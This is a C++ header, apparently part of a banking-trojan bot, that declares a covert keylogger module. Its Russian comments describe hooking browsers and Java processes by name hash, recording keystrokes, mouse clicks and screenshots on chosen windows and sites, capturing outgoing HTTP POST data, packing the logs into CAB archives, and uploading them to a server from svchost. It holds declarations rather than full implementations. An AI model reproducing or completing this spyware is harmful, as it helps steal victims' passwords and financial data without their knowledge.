// ---------------------------------------------------------------------------

#ifndef UniversalKeyLoggerH
#define UniversalKeyLoggerH

// ---------------------------------------------------------------------------

#include <windows.h>
#include "BotClasses.h"
#include "WndUtils.h"
#include "CabPacker.h"

// Включем в модуль новую версию кейлогера
// Будем плавно переходить на новые "рельсы"
#include "KeyLogger.h"




// *****************************************************************************
//
// ВАЖНО!
//
// Отправка данных кейлогера осуществляется из потока отправки данных
// работающего в процессе svchost. Обработка файлов кейлогера осуществляется
// только в случае подключенного модуля. По этому если используется кейлогер,
// то этот модуль должен подключаться в заголовочном модуле который прямо или
// косвенно подключается в Loader.cpp либо в Modules.h
//
// ****************************************************************************

#define MAX_PARENTWND_LEVEL 10 /* Максимальный уровень вложенности окон при фильтрации */

#define DEFAULT_SCREENSHOT_WIDTH  50
#define DEFAULT_SCREENSHOT_HEIGHT 50

#define KEYLOGGER_DATA_APPLICATION 1       /* Имя приложения (системы) */
#define KEYLOGGER_DATA_TEXT        2       /* Данные , что вводил пользователь */
#define KEYLOGGER_DATA_IMAGEPNG    3       /* Картинка в PNG формате */
#define KEYLOGGER_DATA_FILE        4       /* Любой файл */
#define KEYLOGGER_DELETE_TEXT_DATA 5       /* Маркер удаления предыдущих текстовых данных */
#define KEYLOGGER_DATA_NOOP        0xFFFF  /* Пустая команда. Введена на случай ели необходимо поддержать файл на диске без отправки  */

// Заранее известные процессы в которых будет работать кейлогер
#define PROCESS_UNKNOWN    0
#define PROCESS_IE         1
#define PROCESS_JAVA       2




// Хэши заранее известных процессов
#ifdef AGENTFULLTEST
	// Эта опция введена для работы в тестовом приложении
	// которое обрабатывает базовык функции бота.
	// приложение написано на Builder c++ 2010 и
	// называется AgentFullTest.exe
	#define PROCESS_HASH_IE 0x7486E952 /* agentfulltestxe.exe */
#else
	#define PROCESS_HASH_IE     0x250DFA8F /* iexplore.exe */
#endif

#define PROCESS_HASH_FIREFOX 0x7712FEAE /* firefox.exe */
#define PROCESS_HASH_CHROME  0xBD3CC33A /* chrome.exe */

#define PROCESS_HASH_JAVA   0x150CFBD3 /* java.exe */
#define PROCESS_HASH_JAVAW  0x1F1AA76A /* javaw.exe */
#define PROCESS_HASH_JAVAO  0x9F1AA76B /* javao.exe */
#define PROCESS_HASH_JAVAWO 0x9434FBEE /* javawo.exe */

// Максимальное количество действий после которых система
// кейлогера будет закрыта. Будет работать только в случае
// конда система кейлогера не будет содержать фильтры. т.е.
// будут логироваться весь ввод
#define MAX_ACTIONS_COUNT 100

// Максимальный интервал времени в течении которого будет ожидаться
// ввод пользователя. В случае если действий не было, то сессия будет
// закрыта
#define KLG_DEFAULT_LAST_ACTION_TIME  300 /*5 минут*/


// Минимальный интервал работы системы
#define KLG_DEFAULT_MIN_TIME 300 /*5 минут*/

// Максимальный интервал работы системы
#define KLG_DEFAULT_MAX_TIME 300 /*5 минут*/

// Интервал времени в течении которого файл лога может
// лежать на машине пользователя без изменений. По истечении
// этого интервала файл будет отправлен на сервер
#ifndef DEBUGBOT
#define KEYLOG_MAX_FILETIME_INTERVAL  3000000000 /* 10000000 * 60 * 5  */
#else
#define KEYLOG_MAX_FILETIME_INTERVAL  600000000 /* 60000000 * 30 * 1  */
#endif

// Структура логера данных
typedef struct TKeyLoggerRec
{
	// Для текущей совместимости вещаем новый кейлогер
	// на методы старого. Со временем перетянем граберы
	// на новы кейлогер
    TKeyLogger* NewKeylogger;

	//   свойства строго движка
	DWORD Process; // Идентификатор процесса в котором работает кейлогер
	PCHAR ProcessName; // Полное имя процесса
	DWORD ProcessNameHash; // Хэш имени процесса (короткое имя в нижнем регистре)
	DWORD PID; // Идентификатор процесса
	bool Active; // Признак активности кейлогера
	PCHAR FileName; // Файл в который логируются данные
	PCHAR Buffer; // Буфер логирования данных клавиатуры
	DWORD BufferSize; // Размер буфера
	DWORD Position; // Текущая позиция в буфере для записи
	HWND ActiveWND; // Активное окно за которым ведётся наблюдение
	PList Events; // Список обработчиков событий. Только для внутреннего использования!

	PList Systems; // Зарегистрированные системы

	WNDPROCLIST WndProcList; // Список подменённых окнных процедур

}*PKeyLogger;


// Объявляем функции-события

typedef void(*TKLGNotifyEvent)(LPVOID Sender);
typedef void(*TKLGMessageProc)(LPVOID Sender, PMSG Msg, bool IsUnicode);

// ------------------------------------------------------
// Константы для определения типа логируемых действий€
// ------------------------------------------------------
#define LOG_KEYBOARD 1
#define LOG_MOUSE    2
#define LOG_ALL      LOG_KEYBOARD | LOG_MOUSE
#define LOG_MOUSE_NOT_SCREENSHOT 1
#define LOG_MOUSE_SCREENSHOT	 2

// ------------------------------------------------------
// Режимы фильтрации окон
// ------------------------------------------------------
#define FILTRATE_SELF_WND    1
#define FILTRATE_PARENT_WND  2
#define FILTRATE_ALL_WND     FILTRATE_SELF_WND | FILTRATE_PARENT_WND


// ------------------------------------------------------
// Режимы работы по времени
// ------------------------------------------------------
#define KLG_TIME_LAST_ACTION 0 /* Система будет активна пока с момента последнего */
							   /* действия не пройдёт заданный интервал времени   */

#define KLG_TIME_MAX         1 /* Система будет закрыта по истечении заданного  */
							   /* интервала времени                             */

#define KLG_TIME_MIN         2 /* Система может быть закрыта только по истечению */
							   /* заданного интервала времени */
#define KLG_TIME_INFINITE    3 /* Система будет работать до тех пор пока не будет закрыта вручную */

#define KLG_TIME_DEFAULT KLG_TIME_LAST_ACTION /* По умолчанию считаем время с момента  */
                                              /* последнего действия */


// ------------------------------------------------------
//  Максрос возвращает НЕ нулевое значение
// ------------------------------------------------------
#define GetNotNULLValue(V1, V2)  (V1) ? V1 : V2


// ------------------------------------------------------
// TSaveMouseLogWnd - настройка описывающее какое окно
//                    будет записываться в лог при сохра-
//                    нении лога мыши.
//                    В дальнейшем данные будут группиро-
//					  ваться для этого окна
// ------------------------------------------------------
enum TSaveMouseLogWnd
{
	MOUSE_LOG_WND_ACTIVE = 0, // Будет группмроваться по окну, для которого сработал фильтр
	MOUSE_LOG_WND_FOCUS  = 1, // Будет группироваться по окну имеющее фокус ввода
	MOUSE_LOG_WND_FILTER = 2  // Для группировки будет использован фильтр
};


// Дополнительные настройки фильтра кейлогера
typedef struct TKeyLoggerFilterData
{
	bool DontShowSSInStr; // Отключить вставку информацию о скриншоте в буфер кейлогера
	DWORD SSWidth;        // Ширина снимка экрана
	DWORD SSHeight;       // Высота снимка экрана
	PCHAR URL;            // Адрес сайта загруженного в браузер при котором должен срабатывать фильтр
	DWORD CursorColor;    // Цвет точки отображающей позицию курсора
}*PKeyLoggerFilterData;



// Фильтр кейлогера
typedef struct TKeyLogSystem
{
	PCHAR Name;               // Имя системы (Приложения)
	DWORD ProcessNameHash;    // Хэш имени процесса для которого работает система (Короткое имя в нижнем регистре)
	bool  Enabled;            // Признак доступности системы.  Если отключить то лог писаться не будет
	bool  SendLogAsCAB;       // Отправлять лог системы в CAB архиве. В проитвном случае будет отправлен текстовый лог.
	PList Filters;            // Фильтры зарегистрированные для системы
	DWORD TimeMode;           // Режим работы по времени
	DWORD TimeValue;          // Значение времени для режима TimeMode (секунд). Если не указать то будут использованы глобальные настройки

	bool MakeScreenShot;      // Создавать снимок всего экрана при инициализации

	PCHAR URL;                // Адрес на котором должна работать система

	bool DontSendLog;         // Отключает отправку лога стандартными механизмами
	int AlwaysLogMouse;		  // Всегда логгировать события мышки, LOG_MOUSE_NOT_SCREENSHOT - без скриншотов, LOG_MOUSE_SCREENSHOT - с скриншотами
	bool NotAutoStart;		  // Не стартовать систему автоматически

	//--------- данные времени выполнения ---------
	bool TimeCompleted;     // Признак того, что система отработала своё время


	//---------  События системы ---------
	TKLGNotifyEvent OnActivate;     // Событие активации системы
	TKLGNotifyEvent OnDeactivate;   // Событие деактивации системы
	TKLGMessageProc OnMessage;      // Обрабатывается оконное сообщение
    TKLGMessageProc OnAfterDispatchMessage; // Событие вызываемое после обработки сообщения

	//данные события нужны для отработки процессов у которых нет окон
	TKLGNotifyEvent OnProcessRun;   //Событие запуска процесса
	TKLGNotifyEvent OnProcessClose; //Событие закрытия система, для которой было событие OnProcessRun
}*PKeyLogSystem;


// Описание текстов окна
typedef struct TWndText
{
	PCHAR ClassName; // Имя класса
	PCHAR Caption;   // Заголовок окна
	bool  Lowered;   // Признак того, что текст уже приведён к нижнему регистру
} *PWndText;



// Метод фильтрации окна
//
// Sender - инициатор события
// Цтв - Окно которое необходимо отфильтровать
// Data - Зарезервировано
// Filtrated - Функция должна установить этот аргумент в истину если
//             окно прошло фильтрацию
typedef void (*PFiltrateWndMethod)(LPVOID Sender, HWND Wnd, LPVOID Data, bool &Filtrated);


// Метод возврата окна для которого писать лог
typedef void (*TGetLogWndMethod)(LPVOID Sender, HWND &LogWnd);


// Оконный фильтр
typedef struct TKlgWndFilter
{
	DWORD Mode;            // Режим фильтрации окон
	DWORD Actions;         // Действия, которые необходимо обработать
	DWORD MaxParentLevel;  // Максимальный уровень вложенности родительских окон
	bool  MakeScreenShot;  // Создавать снимок всего экрана при инициализации
	PCHAR URL;             // Адрес на котором доступн фильтр
	bool CaseSensetive;    // Фильтр чувствителен к регистру
	TWndText Text;         // Основной текст окна
	PList AltText;         // Дополнительные, допустимые, значения текста
	TSaveMouseLogWnd MouseLogWnd; // Настройки группировки лога мыши
	bool LogClicks;        // Включает запись в лог кликов мыши. В случае когда пишется
						   // только лог клавиатуры и необходимо указать, что пользователь кликнул
	bool DontSaveMouseLog; // Отключает запись в лога мыши (На случай когда нужно активировать систему но не писать лог мыши)

	TKlgWndFilter *PreFilter;  // Фильтр который должен сработать перед срабатыванием этого фильра
	TKeyLoggerFilterData Data; // Дополнительные данные. Зарезервировано


	bool  IsDialog;        // Фильтр описывает диалог
	bool  Required;        // Это обязательное окно


	//--------- данные времени выполнения ---------
	bool Activated;  // Признак того, что фильтр активировался в рамках текущей сессии
	HWND DialogWnd;  // Идентификатор диалогового окна

	//--------- События фильтра -------------
	TKLGNotifyEvent     OnActivate;  // Событие срабатывания фильтра
	PFiltrateWndMethod  OnFiltrate;  // Дополнительный метод фильтрации
	TGetLogWndMethod    OnGetLogWnd; // Метод возврата окна для записи лога

}*PKlgWndFilter;



//-------------------------------------------------------------------------
// THTTPRequestData - Информация об отправляемом HTTPы запросе
//-------------------------------------------------------------------------

enum TBrowserType {
	BrowserIE = 1, // Internet Explorer
	BrowserFF = 2  // FireFox
};

typedef struct THTTPRequestData
{
	TBrowserType Browser;      // Тип браузера
	LPVOID       Handle;       // Идентификатор запроса
	PCHAR        URL;          // Адрес запроса
	PCHAR        PostData;     // Пост данные
	DWORD        PostDataSize; // Размер пост данных

}*PHTTPRequestData;


// Информация о отображаемом окне
typedef struct TShowWindowData
{
	HWND Window;
	int Command;
} *PShowWindowData;


// ****************************************************************************
// Типы и объявления событий кейлогера
// ****************************************************************************

// Метод обработки событий кейлогера
typedef void(WINAPI * TKeyLoggerEventHandler)(PKeyLogger Logger, DWORD EventID,
	LPVOID Data);

/* KLE - Key Logger Event */
#define KLE_ACTIVATED           1 /* Кейлогер активирован */
#define KLE_IE_URL_CHANGED      2 /* Сменился активный адрес Интернет експлорера. Data = PCHAR, новый адрес */
#define KLE_SEND_HTTP_REQUEST   3 /* Браузер отправляет запрос на сайт. Data = PHTTPRequestData */
#define KLE_INTERNET_WRITE_FILE 4 /* IE считывает файл с помощью InternetWriteFile. Data = PHTTPRequestData */
#define KLE_ADD_TEXT_LOG        5 /* Добавляется текстовый лог. Data = PCHAR */
#define KLE_SHOW_WND            6 /* Событие вызывается перед вызовом функции отображения окна. Data = PShowWindowData */
#define KLE_AFTER_SHOW_WND      7 /* Событие вызывается после вызова функции отображения окна  Data = PShowWindowData */
#define KLE_FOCUS_CHANGED       8 /* Изменилось окно вокуса; Data = *HWND */

// ****************************************************************************
// KeyLogger - методы для организации работы кейлогера и работы с ним
// ****************************************************************************
namespace KeyLogger
{
	// Инициализировать кейлогер
	// Метод создаёт необходимые структуры и возвращает указатель на глобальный
	// кейлогер для более детальной настройки. Для запуска логирования
	// необходимо вызвать метод Start
	PKeyLogger Initialize(PCHAR AppName);

	// Запуск кейлогера
	bool Start();

	// Функция возвращает указатель на структуру кейлогкра
	PKeyLogger GetKeyLogger();

	// Добавить строку в буфер
	void AddStrToBuffer(HWND Wnd, PCHAR Str, DWORD StrLen);

	// Добавить скриншот
	// Если AddToKeyLog то информация о снимке будет добавлена в буффер кейлога
	void AddScreenShot(HWND Wnd, bool AddToKeyLog, LPBYTE ScreenShot, DWORD Size);

	// Функция добавляет файл в архив кейлогера
	// FileName - реальное имя файла
	// Name - имя с которым директория будет добавлена в архив
	void AddFile(PCHAR FileName, PCHAR Name, LPVOID FileData,
		DWORD FileDataSize);

	// Функция добавляет директорию в архив кейлогера
	//
	// Path - реальный путь к директории
	// Name - имя с которым директория будет добавлена в архив
	void AddDirectory(PCHAR Path, PCHAR Name);

	// ----------------------------------------------------------------------
	// AddSystem - Функция регистрирует новую систему кейлогера
	//
	// Name - Имя системы. С этим именем данные будут отправлены на сервер
	//		  Если система с таким именем уже зарегистрирована
	//        функция вернёт NULL
	//
	// ProcessHash - Хэш имени процесса в котором должена работать система
	// если указать нулевой хэш, то система будет запускаться
	// в каждом процессе.
	//
	// Результат: В случае успеха функция вернёт указатель на
	// зарегистрированную систему
	// ----------------------------------------------------------------------
	PKeyLogSystem AddSystem(const char* Name, DWORD ProcessHash);

	// ----------------------------------------------------------------------
	//  SystemByName - Функция возвращает систему по имени
	// ----------------------------------------------------------------------
    PKeyLogSystem SystemByName(const char* Name);

	// ----------------------------------------------------------------------
	//  ActivateSystem - Принудительная активация системы
	// ----------------------------------------------------------------------
    void ActivateSystem(PKeyLogSystem System);

	// ----------------------------------------------------------------------
	// AddFilter - Функция добавляет фильтр окна
	//
	// System - Система для которой добавляется фильтр
	//
	// IsDialog - Признакк того, что фильтр описывает диалоговое окно
	//
	// Required - Это обязательный фильтр. Система не будет считаться
	//            отработавшей пока не сработает данный фильтр
	//
	// WndClass - Имя класса окна
	//
	// WndText -  Текст окна
	//
	// Mode - Режим работы фильтра
	// FILTRATE_SELF_WND, FILTRATE_PARENT_WND,  FILTRATE_ALL_WND
	//
	// LogAction - Параметр указывающий какие действия логировать
	// LOG_KEYBOARD, LOG_MOUSE, LOG_ALL
	//
	// MaxPArentLevel - Максимальный уровень вложенности родительского окна
	// ----------------------------------------------------------------------
	PKlgWndFilter AddFilter(PKeyLogSystem System, bool IsDialog, bool Required,
		PCHAR WndClass, PCHAR WndText, DWORD Mode, DWORD LogAction, DWORD MaxPArentLevel);

	// ----------------------------------------------------------------------
	//  AddFilterText - Функция добавляет фдополнительный текст в фильтр
	//
	//  Данная опция необходима для случая когда одно и то-же окно может
	//  быть с различными надписями. Например из-за версии системы.
	// ----------------------------------------------------------------------
	void AddFilterText(PKlgWndFilter Filter, PCHAR WndClass, PCHAR Caption);


	// ----------------------------------------------------------------------
	// Записать буфер введённых символов в файл
	// ----------------------------------------------------------------------
	void WriteBuffer();

	// ----------------------------------------------------------------------
	// Добавить порцию данных в файл
	// ----------------------------------------------------------------------
	bool WriteToFile(HWND Sender, PCHAR BlockName, DWORD DataType, LPVOID Data,
		DWORD DataSize);


	// ----------------------------------------------------------------------
	// Закрыть текущую сессию кейлогера
	// Записывает текущий буфер в файл и освобождает файл
 	// ----------------------------------------------------------------------
  	void CloseSession();

	// ----------------------------------------------------------------------
	// CanSendLoggerFile - Функция возвращает истину если файл готов к
	// отправке
	// ----------------------------------------------------------------------
	bool CanSendLoggerFile(PCHAR FileName, bool*InvalidFile);


	// Подключить обработчик события кейлогера
	// EventID - идентификатор события для которого подключаем обработчик.
	// песли равен 0 то обработчик будет вызываться для всех событий
	// Handler - метод, обработчик события
	bool ConnectEventHandler(DWORD EventID, TKeyLoggerEventHandler Handler);

	// Отключить обработчик события
	// EventID - Идинтификатор события для которого необходимо отключить
	// обработчик. Если равен 0 то обработчик будет отключен для
	// всех событий
	// Handler - отключаемый обработчик событий
	void DisconnectEventHandler(DWORD EventID, TKeyLoggerEventHandler Handler);

	// ---------------------------------------------------------------------
	// GetCurrentURL - Функция возвращает адрес страницы открытой в данный
	// момент в браузере
	// ВАЖНО: Функция НЕ создаёт строку, по этому уничтожать результат
	// после работы ЗАПРЕЩЕНО
	// ---------------------------------------------------------------------
	PCHAR GetCurrentURL();

	// ---------------------------------------------------------------------
	// SetCurrentURL Принудительная смена активного адреса
	// ---------------------------------------------------------------------
	void SetCurrentURL(PCHAR URL);

	// ---------------------------------------------------------------------
	// CallEvent - Функция вызывает событие
	// ---------------------------------------------------------------------
	void CallEvent(DWORD EventID, LPVOID Data);

	// ---------------------------------------------------------------------
	// StopLogging - Функция останавливает логирование в текущей системе
	// ---------------------------------------------------------------------
	void StopLogging();

	// ---------------------------------------------------------------------
	// IsWindowDialog - Функция возвращает истину если окно Wnd является
	//                  диалоговым окном из списка диалогов кейлогера
	// ---------------------------------------------------------------------
    bool IsWindowDialog(HWND Wnd);


	// ---------------------------------------------------------------------
	//  Функция удаляет все текстовые данные из текущего лога
	//  Wnd - Окно, для которого будут удалены данные.
	//        если не указать, то будут удалены все текстовые данные
	// ---------------------------------------------------------------------
	void DeleteAllTextData(HWND Wnd);


	// ---------------------------------------------------------------------
	// SendLoggerFile - Отправить отчёт кейлогера
	// ---------------------------------------------------------------------
	bool SendLoggerFile(PCHAR LogFileName, bool*InvalidFile);

	// ---------------------------------------------------------------------
	// SendLog - Функция отправляет отчт на сервер
	//
	// URL - Адрес скипта. В случае пустого значения используется
	// стандартный адрес скрипта
	// AppHash - Хэш приложения
	// Pid - Идентификатор процесса
	// Log - Отправляемые данные
	// LogLen -
	// ---------------------------------------------------------------------
	bool SendTextLog(PCHAR URL, DWORD AppHash, DWORD Pid, PCHAR Log,
		DWORD LogLen, bool* InvalidFile);

	// ---------------------------------------------------------------------
	// DownloadProcessList - Функция загружает список процессов, для
	// которых необходимо логировать действия
	// пользователя
	//
	// NotSupportKeylogger - в случае неудачи загрузки в эту переменную
	//						 будет записана истина если админка не
	//					     поддерживает кейлогер
	// ---------------------------------------------------------------------
	bool DownloadProcessList(bool *NotSupportKeylogger);

	// ---------------------------------------------------------------------
	// StartProcessListDownloader - Запустить поток подгрузки списка
	// процессов
	// ---------------------------------------------------------------------
	void StartProcessListDownloader();

	// ---------------------------------------------------------------------
	// IsSupportProcess - Функция возвращает истину если процесс
	// необходимо логировать
	// ---------------------------------------------------------------------
	bool IsSupportProcess();
}

PCHAR GetURLFromJavaProcess();

// ****************************************************************************
// KLGPacker - Методы упаковки файла кейлогера в данный для отправки
// ****************************************************************************

typedef struct TKeyLogPacker
{
	HANDLE Handle;         // Идентификатор открытого файла
	bool IsCabLog;         // Признак того, что данные будут упакеованы в каб архив
	bool PackOnlyTextData; // Запаковывать только текстовые данные
	HWND TextLogWnd;       // Окно, для которого собирать текстовый лог
	PCHAR CabFileName;     // Имя каб архива
	HCAB CabHandle;        // Идентификатор открытого каб архива
	PCHAR TempFileName;    // Временный файл
	PList TextBlocks;      // Текстовые блоки
	PCHAR Application;     // иМЯ ПРИЛОЖЕНИЯ
	PCHAR Log;             // Текстовый лог
	DWORD ProcessHash;     // Хэш процесса
	DWORD PID;             // Идентификатор процесса
	bool InvalidFile;      // Признак ошибочного файла
}*PKeyLogPacker;

namespace KLGPacker {
	// ---------------------------------------------------------------------
	// Initialize - Подготавливаем файл к упаковке
	// ---------------------------------------------------------------------
	PKeyLogPacker Initialize(PCHAR FileName, bool PackOnlyTextData);

	// ---------------------------------------------------------------------
	// Free - Функция освобождает выделенные ресурсы
	// ---------------------------------------------------------------------
	void Free(PKeyLogPacker Packer);

	// ---------------------------------------------------------------------
	// Pack - Упаковать данные
	// ---------------------------------------------------------------------
	bool Pack(PKeyLogPacker Packer);

	// ---------------------------------------------------------------------
	// GetTExtDataFromFile - Получить только текстовые данные из файла
	// ---------------------------------------------------------------------
	PCHAR GetTextDataFromFile(PCHAR FileName, HWND Wnd = NULL);

}


// ---------------------------------------------------------------------------
//Замена виртуальных кодов для некоторых клавиш, используются при обработки события WM_CHAR 
//присваиваются (перекодируются) в событии WM_KEYDOWN
#define CHAR_DELETE	1
#define CHAR_LEFT 2
#define CHAR_RIGHT 3
#define CHAR_UP 4
#define CHAR_DOWN 5
#define CHAR_BACK 8
#define CHAR_TAB 9

#endif
